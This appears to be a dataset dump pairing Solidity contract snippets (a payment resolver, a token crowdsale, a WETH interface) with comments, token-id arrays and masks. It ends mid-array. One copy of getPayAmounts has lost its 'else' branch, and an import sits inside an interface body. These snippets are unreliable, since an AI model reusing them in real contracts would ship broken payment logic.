for (uint i = 0; i < _payHashes.length; i++) {
payId = calculatePayId(_payHashes[i], msgSender);
PayInfo storage payInfo = payInfoMap[payId];
payInfo.resolveDeadline = _deadlines[i];
emit PayInfoUpdate(payId, payInfo.amount, _deadlines[i]);
}
}
function setPayInfos(bytes32[] calldata _payHashes, uint[] calldata _amts, uint[] calldata _deadlines) external {
require(
_payHashes.length == _amts.length && _payHashes.length == _deadlines.length,
"Lengths do not match"
);
bytes32 payId;
address msgSender = msg.sender;
for (uint i = 0; i < _payHashes.length; i++) {
payId = calculatePayId(_payHashes[i], msgSender);
PayInfo storage payInfo = payInfoMap[payId];
payInfo.amount = _amts[i];
payInfo.resolveDeadline = _deadlines[i];
emit PayInfoUpdate(payId, _amts[i], _deadlines[i]);
}
}
/**
* @notice Get the amounts of a list of queried pays
* @dev pay results must have been unchangable before calling this function.
* This API is for CelerLedger
* @param _payIds ids of queried pays
* @param _lastPayResolveDeadline the last pay resolve deadline of all queried pays
* @return queried pay amounts
*/
function getPayAmounts(
bytes32[] calldata _payIds,
uint _lastPayResolveDeadline
)
external view returns(uint[] memory)
{
uint[] memory amounts = new uint[](_payIds.length);
for (uint i = 0; i < _payIds.length; i++) {
if (payInfoMap[_payIds[i]].resolveDeadline == 0) {
// should pass last pay resolve deadline if never resolved
require(block.number > _lastPayResolveDeadline, "Payment is not finalized");
} else {
// should pass resolve deadline if resolved
require(
block.number > payInfoMap[_payIds[i]].resolveDeadline,
"Payment is not finalized"
);
}
amounts[i] = payInfoMap[_payIds[i]].amount;
}
return amounts;
}
function getPayInfo(bytes32 _payId) external view returns(uint, uint) {
PayInfo storage payInfo = payInfoMap[_payId];
return (payInfo.amount, payInfo.resolveDeadline);
}
}
|
* @notice Get the amounts of a list of queried pays @dev pay results must have been unchangable before calling this function. This API is for CelerLedger @param _payIds ids of queried pays @param _lastPayResolveDeadline the last pay resolve deadline of all queried pays @return queried pay amounts/ should pass last pay resolve deadline if never resolved should pass resolve deadline if resolved
|
function getPayAmounts(
bytes32[] calldata _payIds,
uint _lastPayResolveDeadline
)
external view returns(uint[] memory)
{
uint[] memory amounts = new uint[](_payIds.length);
for (uint i = 0; i < _payIds.length; i++) {
if (payInfoMap[_payIds[i]].resolveDeadline == 0) {
require(block.number > _lastPayResolveDeadline, "Payment is not finalized");
require(
block.number > payInfoMap[_payIds[i]].resolveDeadline,
"Payment is not finalized"
);
}
amounts[i] = payInfoMap[_payIds[i]].amount;
}
return amounts;
}
| 6,685,444 |
[
1,
967,
326,
30980,
434,
279,
666,
434,
23264,
293,
8271,
225,
8843,
1686,
1297,
1240,
2118,
640,
24083,
429,
1865,
4440,
333,
445,
18,
282,
1220,
1491,
353,
364,
385,
22990,
28731,
225,
389,
10239,
2673,
3258,
434,
23264,
293,
8271,
225,
389,
2722,
9148,
8460,
15839,
326,
1142,
8843,
2245,
14096,
434,
777,
23264,
293,
8271,
327,
23264,
8843,
30980,
19,
1410,
1342,
1142,
8843,
2245,
14096,
309,
5903,
4640,
1410,
1342,
2245,
14096,
309,
4640,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
1689,
528,
6275,
87,
12,
203,
3639,
1731,
1578,
8526,
745,
892,
389,
10239,
2673,
16,
203,
3639,
2254,
389,
2722,
9148,
8460,
15839,
203,
565,
262,
203,
3639,
3903,
1476,
1135,
12,
11890,
8526,
3778,
13,
203,
565,
288,
203,
3639,
2254,
8526,
3778,
30980,
273,
394,
2254,
8526,
24899,
10239,
2673,
18,
2469,
1769,
203,
3639,
364,
261,
11890,
277,
273,
374,
31,
277,
411,
389,
10239,
2673,
18,
2469,
31,
277,
27245,
288,
203,
5411,
309,
261,
10239,
966,
863,
63,
67,
10239,
2673,
63,
77,
65,
8009,
10828,
15839,
422,
374,
13,
288,
203,
7734,
2583,
12,
2629,
18,
2696,
405,
389,
2722,
9148,
8460,
15839,
16,
315,
6032,
353,
486,
727,
1235,
8863,
203,
7734,
2583,
12,
203,
10792,
1203,
18,
2696,
405,
8843,
966,
863,
63,
67,
10239,
2673,
63,
77,
65,
8009,
10828,
15839,
16,
203,
10792,
315,
6032,
353,
486,
727,
1235,
6,
203,
7734,
11272,
203,
5411,
289,
203,
5411,
30980,
63,
77,
65,
273,
8843,
966,
863,
63,
67,
10239,
2673,
63,
77,
65,
8009,
8949,
31,
203,
3639,
289,
203,
3639,
327,
30980,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/42/0xe71d36b896c3103A089BfF60662f37fB01fbb396/sources/PISVault.sol
|
If there is no change the balance didn't change
|
pisBalance = pis.balanceOf(address(this));
| 3,332,445 |
[
1,
2047,
1915,
353,
1158,
2549,
326,
11013,
10242,
1404,
2549,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
5411,
293,
291,
13937,
273,
293,
291,
18,
12296,
951,
12,
2867,
12,
2211,
10019,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x19d5de8695e66C34c0A51B61cF63477de77AF977/sources/src/ProofEAC.sol
|
* @notice The project configurations. @dev Indexed by projectID./
|
Project[] internal _projects;
| 8,344,370 |
[
1,
1986,
1984,
10459,
18,
225,
22524,
635,
1984,
734,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
5420,
8526,
2713,
389,
13582,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/71401/0xfdbD49b5FebdfE015dbEA89014AD1e92E9401c4f/sources/contracts/balancer/IWETH.sol
|
* @dev Interface for WETH9./
|
interface IWETH is IERC20 {
function deposit() external payable;
function withdraw(uint256 amount) external;
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
}
| 7,100,336 |
[
1,
1358,
364,
678,
1584,
44,
29,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
5831,
467,
59,
1584,
44,
353,
467,
654,
39,
3462,
288,
203,
565,
445,
443,
1724,
1435,
3903,
8843,
429,
31,
203,
203,
565,
445,
598,
9446,
12,
11890,
5034,
3844,
13,
3903,
31,
203,
203,
203,
203,
5666,
288,
467,
654,
39,
3462,
289,
628,
8787,
3190,
94,
881,
84,
292,
267,
19,
16351,
87,
19,
2316,
19,
654,
39,
3462,
19,
45,
654,
39,
3462,
18,
18281,
14432,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.24;
import '../../common/Ownable.sol';
import '../../common/SafeMath.sol';
import './AppTokenI.sol';
import '../../common/RateContractI.sol';
/**
* @title CrowdSale management contract
*/
contract CrowdSale is Ownable, SafeMath {
bytes32 public version = "1.0.0";
uint public decimals;
uint public multiplier;
RateContractI public RateContract;
AppTokenI public AppToken;
address public dev;
uint public countUse;
uint public totalSupply;
bool public SoftCap;
uint public targetInUSD;
/* The UNIX timestamp start date of the crowdsale */
uint public startsAt;
/* Price in USD * 10**6 */
uint[3] public price;
uint256 public numberOfPeriods;
uint256 public durationOfPeriod;
/* How many unique addresses that have invested */
uint public investorCount = 0;
/* How many wei of funding we have raised */
uint public weiRaised = 0;
/* How many usd of funding we have raised */
uint public usdRaised = 0;
/* The number of tokens already sold through this contract*/
uint public tokensSold = 0;
/* How many tokens he charged for each investor's address in a particular period */
mapping (uint => mapping (address => uint)) public tokenAmountOfPeriod;
/* How much ETH each address has invested to this crowdsale */
mapping (address => uint) public investedAmountOf;
/* How much tokens this crowdsale has credited for each investor address */
mapping (address => uint) public tokenAmountOf;
/* Wei will be transfered on this address */
address public multisigWallet;
/* How much wei we have given back to investors. */
uint public weiRefunded = 0;
uint public m15;
uint public m30;
uint public m45;
/* A new investment was made */
event Invested(address investor, uint weiAmount, uint tokenAmount);
// Refund was processed for a contributor
event Refund(address investor, uint weiAmount);
// Coolect wei for dev
event collectWei(address _dev, uint _sum);
/**
* @dev Constructor sets default parameters
*/
constructor(uint _initialSupply, uint _decimals, address _multisigWallet, uint _startsAt, uint _numberOfPeriods, uint _durationOfPeriod, uint _targetInUSD, address _RateContract, address _dev, address _owner) public {
require(_numberOfPeriods == 3);
require(_durationOfPeriod == 30 days);
owner =_owner;
decimals = _decimals;
multiplier = 10 ** decimals;
multisigWallet =_multisigWallet;
startsAt = _startsAt;
totalSupply = _initialSupply;
targetInUSD = _targetInUSD;
RateContract = RateContractI(_RateContract);
numberOfPeriods =_numberOfPeriods;
durationOfPeriod = _durationOfPeriod;
dev = _dev;
uint _price = safeDiv(_targetInUSD,40500000);
price[0] = safePerc(_price,8500);
price[1] = safePerc(_price,9000);
price[2] = safePerc(_price,9500);
m15 = 15*10**(6+decimals);
m30 = 30*10**(6+decimals);
m45 = 45*10**(6+decimals);
}
/**
* Buy tokens from the contract
*/
function() public payable {
investInternal(msg.sender);
}
/**
* Make an investment.
*
* Crowdsale must be running for one to invest.
* We must have not pressed the emergency brake.
*
* @param receiver The Ethereum address who receives the tokens
*
*/
function investInternal(address receiver) private {
require(msg.value > 0);
require(block.timestamp > startsAt);
uint weiAmount = msg.value;
// Determine in what period we hit
uint currentPeriod = getStage();
require(currentPeriod < 3);
// Calculating the number of tokens
uint tokenAmount = calculateTokens(weiAmount,currentPeriod);
require(safeAdd(tokenAmount,tokensSold) <= m15*(currentPeriod+1));
if(investedAmountOf[receiver] == 0) {
// A new investor
investorCount++;
}
tokenAmountOfPeriod[currentPeriod][receiver]=safeAdd(tokenAmountOfPeriod[currentPeriod][receiver],tokenAmount);
// Update investor
investedAmountOf[receiver] = safeAdd(investedAmountOf[receiver],weiAmount);
tokenAmountOf[receiver] = safeAdd(tokenAmountOf[receiver],tokenAmount);
// Update totals
weiRaised = safeAdd(weiRaised,weiAmount);
tokensSold = safeAdd(tokensSold,tokenAmount);
usdRaised = safeAdd(usdRaised,weiToUsdCents(weiAmount));
if(tokensSold > safeDiv(totalSupply,100)) {
SoftCap = true;
}
AppToken.transfer(receiver, tokenAmount);
// Tell us invest was success
emit Invested(receiver, weiAmount, tokenAmount);
}
/**
* @dev
*/
function getTokenDev() public {
require(getStage() == 3);
require(msg.sender == dev);
uint timePassed = block.timestamp - (startsAt + 90 days);
uint countNow = safeDiv(timePassed,60 days);
if(countNow > 10) {
countNow = 10;
}
uint difference = safeSub(countNow,countUse);
require(difference > 0);
uint sumToken = safeDiv((safeMul(safeSub(safePerc(totalSupply,8500),tokensSold),difference*10)),100);
AppToken.transfer(msg.sender, sumToken);
countUse = safeAdd(countUse,difference);
}
/**
* @dev Gets the current stage.
* @return uint current stage
*/
function getStage() public view returns (uint) {
if((block.timestamp < (startsAt + 30 days)) && (tokensSold < m15)) {
return 0;
}else if ((block.timestamp < (startsAt + 60 days)) && (tokensSold < m30)) {
return 1;
}else if ((block.timestamp < (startsAt + 90 days)) && (tokensSold < m45)) {
return 2;
}
return 3;
}
/**
* @dev Calculating tokens count
* @param weiAmount invested
* @param period period
* @return tokens amount
*/
function calculateTokens(uint weiAmount,uint period) internal view returns (uint) {
uint usdAmount = weiToUsdCents(weiAmount);
return safeDiv(safeMul(multiplier, usdAmount),price[period]);
}
/**
* @dev Converts wei value into USD cents according to current exchange rate
* @param weiValue wei value to convert
* @return USD cents equivalent of the wei value
*/
function weiToUsdCents(uint weiValue) internal view returns (uint) {
return safeDiv(safeMul(weiValue, RateContract.getRate("ETH")), 1e14);
}
/**
* @dev Investors can claim refund.
*/
function refund() public {
require(getStage() == 3 && SoftCap == false);
uint weiValue = investedAmountOf[msg.sender];
if (weiValue == 0){
revert();
}
investedAmountOf[msg.sender] = 0;
weiRefunded = safeAdd(weiRefunded, weiValue);
emit Refund(msg.sender, weiValue);
msg.sender.transfer(weiValue);
}
function collect(uint _sum) public {
require(_sum > 0);
require(getStage() == 3 && SoftCap == true);
require(msg.sender == dev);
multisigWallet.transfer(_sum);
emit collectWei(dev, _sum);
}
function setTokenContract(address _contract) external onlyOwner {
AppToken = AppTokenI(_contract);
}
}
|
* @dev Calculating tokens count @param weiAmount invested @param period period @return tokens amount/
|
function calculateTokens(uint weiAmount,uint period) internal view returns (uint) {
uint usdAmount = weiToUsdCents(weiAmount);
return safeDiv(safeMul(multiplier, usdAmount),price[period]);
}
| 12,890,834 |
[
1,
30238,
2430,
1056,
225,
732,
77,
6275,
2198,
3149,
225,
3879,
3879,
327,
2430,
3844,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
4604,
5157,
12,
11890,
732,
77,
6275,
16,
11890,
3879,
13,
2713,
1476,
1135,
261,
11890,
13,
288,
203,
565,
2254,
584,
72,
6275,
273,
732,
77,
774,
3477,
72,
39,
4877,
12,
1814,
77,
6275,
1769,
377,
203,
565,
327,
4183,
7244,
12,
4626,
27860,
12,
20538,
16,
584,
72,
6275,
3631,
8694,
63,
6908,
19226,
203,
225,
289,
203,
21281,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/5/0x998bf0Eb2ee683020eC906FAF16f81Fc22641435/sources/contracts/core/connext/helpers/OZERC20.sol
|
* @dev See {IERC20-totalSupply}./
|
function totalSupply() public view override returns (uint256) {
return supply;
}
| 1,904,031 |
[
1,
9704,
288,
45,
654,
39,
3462,
17,
4963,
3088,
1283,
5496,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
